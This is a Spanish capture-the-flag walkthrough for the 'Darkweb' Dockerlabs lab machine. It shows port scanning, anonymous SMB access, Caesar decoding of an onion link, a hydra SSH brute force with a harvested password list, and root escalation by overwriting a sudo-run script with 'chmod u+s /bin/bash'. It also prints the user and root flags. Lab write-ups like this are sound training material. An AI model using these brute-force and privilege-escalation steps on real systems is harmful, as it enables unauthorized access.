# CTF Darkweb Hard

URL Download CTF = <https://drive.google.com/file/d/1F9hlGGkTs8X1sOPdwp6yWl2AYHXExpbC/view?usp=sharing>

### Instalación

Cuando obtenemos el `.zip` nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

```shell
unzip darkweb.zip
```

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

```shell
bash auto_run.sh darkweb.tar
```

Info:

```
██████╗ ██╗    ██╗███╗   ██╗██████╗ ██████╗ ██╗
██╔══██╗██║    ██║████╗  ██║╚════██╗██╔══██╗██║
██████╔╝██║ █╗ ██║██╔██╗ ██║ █████╔╝██║  ██║██║
██╔═══╝ ██║███╗██║██║╚██╗██║ ╚═══██╗██║  ██║╚═╝
██║     ╚███╔███╔╝██║ ╚████║██████╔╝██████╔╝██╗
╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚═════╝ ╚═════╝ ╚═╝

          ==                           
         @+:@ @##@                     
          @++:-----+@ @@#+:----:+#     
           #-+-----:+:---------:       
            *::-----++-----::::#       
             ::------+:--------:       
             #-+------+:-::-----#@     
              *::+=@@#++-------::@     
              @+=     @++::+#@@@#*#    
               #-@                     
                *+#++@                 
               +-:::+-@                
               :-:+:::+                
              @+::*::::                
             *::++-::*                 
          =:--:-:++ @-#                
      #*:---:--++@   @@                
      @::-:--++*                       
       @::-:++#                        
         *++*                          

 :: Plataforma de máquinas vulnerables ::
 :: Desarrollado por Pwn3d! y Dockerlabs - creado por @d1se0 ::

 █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
 █           FLAG{Pwn3d!_is_awesome!}            █
 █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█


[✔] bc ya está instalado.

[✔] Docker ya está instalado
[!] Limpiando previos contenedores e imágenes
[✔] Cargando la máquina virtual      
[✔] Activando máquina virtual      

[✔] Máquina activa. Dirección IP: 172.17.0.2
[!] Presiona Ctrl+C para limpiar y salir
```

Por lo que cuando terminemos de hackearla, le damos a `Ctrl+C` y nos eliminara la maquina para que no se queden archivos basura.

### Escaneo de puertos

```shell
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
```

```shell
nmap -sCV -p<PORTS> <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-14 08:13 EST
Nmap scan report for 172.21.0.2
Host is up (0.000036s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 aa:df:30:8b:17:c5:3c:80:1c:88:f1:f8:c0:ac:cc:fa (ECDSA)
|_  256 aa:6a:33:65:fc:54:b7:8f:98:ff:1f:3d:79:a3:05:3c (ED25519)
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-12-14T13:13:29
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.62 seconds
```

Por lo que vemos hay un `SMB` activo, por lo que vamos a intentar a enumerar los recursos compartidos del servidor:

## smbclient

```shell
smbclient -L //<IP>
```

Info:

```
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        darkshare       Disk      
        IPC$            IPC       IPC Service (8e37253f7c68 server (Samba, Ubuntu))
```

Vemos que hay un recurso compartido llamado `darkshare` y nos deja enumerar de forma anonima, por lo que vamos a ver si nos deja entrar de forma anonima al recurso compartido:

```shell
smbclient //<IP>/darkshare
```

Si ejecutamos esto nos dejara entrar, si listamos el recurso compartido con un `ls`:

```
smb: \> ls
  .                                   D        0  Sat Dec 14 05:24:32 2024
  ..                                  D        0  Sat Dec 14 05:24:32 2024
  archivesDatabases.txt               N      563  Sat Dec 14 05:16:30 2024
  ilegal.txt                          N      204  Sat Dec 14 05:24:32 2024
  drugs.txt                           N      526  Sat Dec 14 05:17:49 2024
  credentials.txt                     N      631  Sat Dec 14 05:17:13 2024
  hackingServices.txt                 N      662  Sat Dec 14 05:18:19 2024
```

Veremos que hay varios archivos, entre ellos destaca uno llamado `ilegal.txt`, nos lo descargaremos de la siguiente forma:

```shell
get ilegal.txt
```

Y su contenido sera el siguiente:

```
St qj htrufwyfx jxyf uflnsf f sfinj, xtqt vznjwt vzj qt ajfx yz, df vzj jxyt rj uzjij rjyjw jq uwtgqjrfx: q2kmnaxwhgdy2sz5wnqrarvrmuemzlfn5xewrdwxdgtdpeaxtpki6ini.tsnts

#NOTE:

use 5, you understand me
```

Por lo que vemos el primer texto parece estar codificado en `cesar` y lo que dice debajo de la `nota` del numero `5`, podemos deducir que es con un desplazamiento de `5`, por lo que nos iremos a la siguiente pagina:

URL = [Decoder Cesar](https://www.dcode.fr/cifrado-cesar)

Configuramos en la parte de `Decodificador de Cifrado César` lo siguiente:

En la parte de `Mensaje cifrado por Código César:` ponemos:

```
St qj htrufwyfx jxyf uflnsf f sfinj, xtqt vznjwt vzj qt ajfx yz, df vzj jxyt rj uzjij rjyjw jq uwtgqjrfx: q2kmnaxwhgdy2sz5wnqrarvrmuemzlfn5xewrdwxdgtdpeaxtpki6ini.tsnts
```

Y en la parte de `Desplazamiento/Tecla (número):` ponemos el numero `5` para que sea con ese desplazamiento.

Una vez echo todo esto anterior le daremos `DESCIFRAR` y podremos ver lo siguiente:

```
No le compartas esta pagina a nadie, solo quiero que lo veas tu, ya que esto me puede meter el problemas: l2fhivsrcbyt2nu5rilmvmqmhpzhugai5szrmyrsyboykzvsokfd6did.onion
```

Por lo que vemos es un enlace `.onion` la cual se puede ver con el navegador `TOR`, por lo que vamos a instalar en nuestra maquina `host` el navegador `TOR` para ingresar esa `URL` y a ver que nos muestra.

### Instalar TOR

```shell
sudo apt install torbrowser-launcher
```

O si no lo podemos descargar en la pagina oficial:

URL = [Download TOR](https://www.torproject.org/dist/torbrowser/14.0.3/tor-browser-linux-x86_64-14.0.3.tar.xz)

Y tendremos que hacer lo siguiente `sin ser root`:

```shell
tar -xf tor-browser-linux-x86_64-14.0.3.tar.xz
cd tor-browser/
chmod +x start-tor-browser
./start-tor-browser
```

Una vez que ya tengamos el navegador de `TOR` abierto le tendremos que dar al siguiente boton:

<figure><img src="https://4289632959-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5Wk1VNaLaqCTbfMb7tfp%2Fuploads%2FC1Mt8bC7yPcxcVGv9tZt%2Fimage.png?alt=media&#x26;token=ee144a46-c7ad-46e1-a1b4-632a8b643abe" alt=""><figcaption></figcaption></figure>

Le daremos al boton de `Connect` y echo esto pegaremos en la `URL` el siguiente link que decodificamos:

### Pagina Web TOR

```
URL = l2fhivsrcbyt2nu5rilmvmqmhpzhugai5szrmyrsyboykzvsokfd6did.onion
```

Veremos que nos carga una pagina web `Dark Forum` y si le damos a un enlace llamado `Access the Darkest Web`, nos llevara a una pagina web con varios links.

Si le damos a `redroom 27` nos metera como en un chat, que si ponemos `user` paar que nos de el username, vremos lo siguiente:

```
acker: User located. Sending details... Username: dark, IP: 192.168.1.105, Last login: 3 days ago.
```

Vemos que nos da un nombre de usuario llamado `dark` y si ahora nos vamos a otro link llamado `Hidden Marketplace` y le damos al boton de `Purchase` de la seccion llamada `Confidential List's Passwords`, nos llevara a un archivo TXT que contiene lo siguiente:

```
dark!6669
h@ck3r_p@ss
1234deadbeef
q9jp3o8gxr#4
tr1cked43x!
a9x$e5f!th
sl@ve2the$y$tem
k!ll3rbl00d#10
f0rg3tt1ng#ev3r
@rchetype#22
enigm@t1c_4c1d
#chronic_6j23
W!nT3rR1d3r!
5hadowhunter_99
t3mpor@l_hack!
blind_h@cker#17
C0mp1lex$24
f@1l1ngDarkn3ss
4llC0ntr0lsf0rmed
deadc0d3!666
W1nt3rCh3ckmate_
xX_b@ckd00r_Xx
h@ck1ng_$p@wn
K0rruptedRoot!02
s1l3nce!000
~n0_1ntrus1on~
d4rkw@ves_@_88
co_d3mned_h@ck
p!p3l0w1n$h@ck
56r!m_revelation
DarkKnight99!____
oniondarkgood
Th3%_1nvis1bl3
ph0rce_breach!X9
pr0xys3v3r!x17
kn0ck3rd00r#!23
f3ars_th3_sh@d0w
3vil_und3rworld!
8n1ghtm@r3_p@ss
p@ssw0rddark!04
h@x0r_5kyline#44
@9gr34t_0verl0rd
subtr@ct0r_ninja
r!p_@_fakeb@by
cl@nd3st!n3_2_0
777_n3ver_ch@ng3
b!llyh@cker2024
4lph@_surviv0r
Blackout!eXodus22
666root_!3
B@d#@ss__sh3l!11
```

Por lo que tendremos que utilizar `hydra` para sacar las credenciales del usuario `dark` con la lista que obtuvimos:

### SSH

```shell
hydra -l dark -P dic.txt ssh://<IP> -t 64
```

Info:

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-14 09:42:04
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 51 tasks per 1 server, overall 51 tasks, 51 login tries (l:1/p:51), ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: dark   password: oniondarkgood
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 22 final worker threads did not complete until end.
[ERROR] 22 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-14 09:42:08
```

Vemos que nos saco las credenciales del usuario.

Por lo que nos conectaremos por `ssh`:

```shell
ssh dark@<IP>
```

Metemos la contarseña `oniondarkgood` y estaremos dentro, por lo que leeremos la flag del user.

> user.txt

```
2eedcb4e067f16aa9c795fd05f3056bd
```

## Escalate Privileges

Si hacemos `sudo -l` veremos lo siguiente:

```
Matching Defaults entries for dark on 994316e6d77d:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dark may run the following commands on 994316e6d77d:
    (ALL : ALL) NOPASSWD: /home/dark/hidden.py
```

Por lo que podremos ejecutar ese script como `root`, si vemos el codigo por dentro, veremos lo siguiente:

```python
#!/bin/python3

import subprocess

# Ruta al archivo Update.sh
script_path = '/usr/local/bin/Update.sh'

# Ejecutar el script de Bash
try:
    subprocess.run(['bash', script_path], check=True)
    print("Script ejecutado con éxito.")
except subprocess.CalledProcessError as e:
    print(f"Hubo un error al ejecutar el script: {e}")
```

Si vemos los permisos de la carpeta donde esta contenida, veremos que somos del grupo de la carpeta y podremos eliminar el archivo `Update.sh` y crearlo nosotros para escalara a `root`.

```
drwxrwx--- 1 root dark 4096 Dec 14 12:22 bin
```

Y dentro de la carpeta como dije esta:

```
-rwxrwx--- 1 root root   21 Dec 14 12:22 Update.sh
```

Por lo que haremos lo siguiente:

```shell
rm Update.sh
```

Info:

```
rm: remove write-protected regular file 'Update.sh'? y
```

Con esto ya habremos eliminado el archivo y ahora crearemos el mismo archivo pero con lo siguiente:

```shell
nano Update.sh

#Dentro del nano
#!/bin/bash

chmod u+s /bin/bash
```

Lo guardamos y ahora ejecutamos lo siguiente:

```shell
sudo /home/dark/hidden.py
```

No pondra:

```
Script ejecutado con éxito.
```

Y si vemos los permisos de la `bash`:

```
-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash
```

Vemos que ha funcionado, por lo que solo tendremos que poner:

```shell
bash -p
```

Y con esto ya seremos `root`, leeremos la flag de `root`:

> root.txt

```
dee080ee744e9fb38952f236457f543b
```
